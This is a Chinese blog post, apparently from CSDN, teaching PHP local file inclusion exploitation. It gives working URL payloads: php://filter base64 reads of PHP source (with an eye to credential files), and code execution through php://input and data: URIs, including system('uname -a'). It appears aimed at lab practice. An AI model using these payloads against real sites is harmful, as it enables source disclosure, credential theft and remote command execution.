通过php://filter/read=convert.base64-encode/resource= 利用LFI来查看源码

PHP LFI读php文件源码以及直接post webshell

假设如下一个场景

(1) http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI漏洞)

(2) 但是你没有地方可以upload你的webshell代码

(3) LFI只能读取到非php文件的源码(因为无法解析执行 只能被爆菊花)

(4) 如果你能读取到config.php之类文件 或许可以直接拿到数据库账号远程入侵进去

【现在的问题是】 LFI如何读取到php文件的源码?

于是给大家做个演示 如果我正常用LFI去读/sqli/db.php文件 是无法读取它的源码 它会被当做php文件被执行

http://vulnerable/fileincl/example1.php?page=../sqli/db.php

这样做可以把指定php文件的源码以base64方式编码并被显示出来

http://vulnerable/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../sqli/db.php

/sqli/db.php源码base64编码后的内容显示如下

PD9waHAgCiAgJGxuayA9IG15c3FsX2Nvbm5lY3QoImxvY2FsaG9zdCIsICJwZW50ZXN0ZXJsYWIiLCAicGVudGVzdGVybGFiIik7CiAgJGRiID0gbXlzcWxfc2VsZWN0X2RiKCdleGVyY2lzZXMnLCAkbG5rKTsKPz4K 然后我们再去进行base64解码 解码后/sqli/db.php文件的源码一览无遗

看上去好像很厉害的样子…… 但是 =_,=||~ 再继续看下文~

******************* 我是邪恶的分割线 *******************

被 @扣子牛 bs了一番 又学到新的小技巧

【技巧】php://input 和 data:

php://input详情可以参考

http://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html

【条件】在allow_url_include = On 且 PHP >= 5.2.0

【优势】直接POST php代码并执行

【鸡肋】在allow_url_include = On 传说中就可以直接RFI了 不过没有vps的童鞋可以这样玩比较方便

在上面提到的同一个LFI漏洞点 我们又要来爆它一次菊花

http://vulnerable/fileincl/example1.php?page=intro.php

访问如下URL并用burp直接修改HTTP包 追加php命令代码

1
http://vulnerable/fileincl/example1.php?page=php://input

然后某君再一次被爆菊 >_<!~ (对不起~)

再换几种姿势继续  data: 的方式

1http://vulnerable/fileincl/example1.php?page=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=
2http://vulnerable/fileincl/example1.php?page=data:;base64,PD9waHBpbmZvKCk7Lyo=
3http://vulnerable/fileincl/example1.php?page=data:text/plain,<?php system(“uname -a”);?>

剩下的大家再继续YY吧~

由于时间关系 我也木有时间去深入了解其原理

为了Hacker精神建议大家去深入研究下 >_<!~

  • 6
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
引用和提到了使用php://filter/read=convert.base64-encode/resource=来访问数据流并将其转换为base64编码。这个功能可以在一些特殊场景下使用,比如在文件包含漏洞或路径遍历漏洞中,通过构造恶意的URL参数来读取服务器上的文件内容。 在引用中的示例中,我们可以看到通过构造URL参数php://filter/read=convert.base64-encode/resource=../sqli/db.php来读取sqli目录下的db.php文件内容,并且将其以base64编码的形式返回。 因此,php://filter/read=convert.base64-encode/resource=可以用于读取服务器上的文件内容,并将其转换为base64编码后返回。这在一些特定的场景中可能是有用的,比如进行文件包含漏洞的利用或进行路径遍历漏洞的探测。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [PHP伪协议filter详解,php://filter协议过滤器](https://blog.csdn.net/wangyuxiang946/article/details/131149171)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [通过php://filter/read=convert.base64-encode/resource= 利用LFI查看源码](https://blog.csdn.net/weixin_32446485/article/details/115546564)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值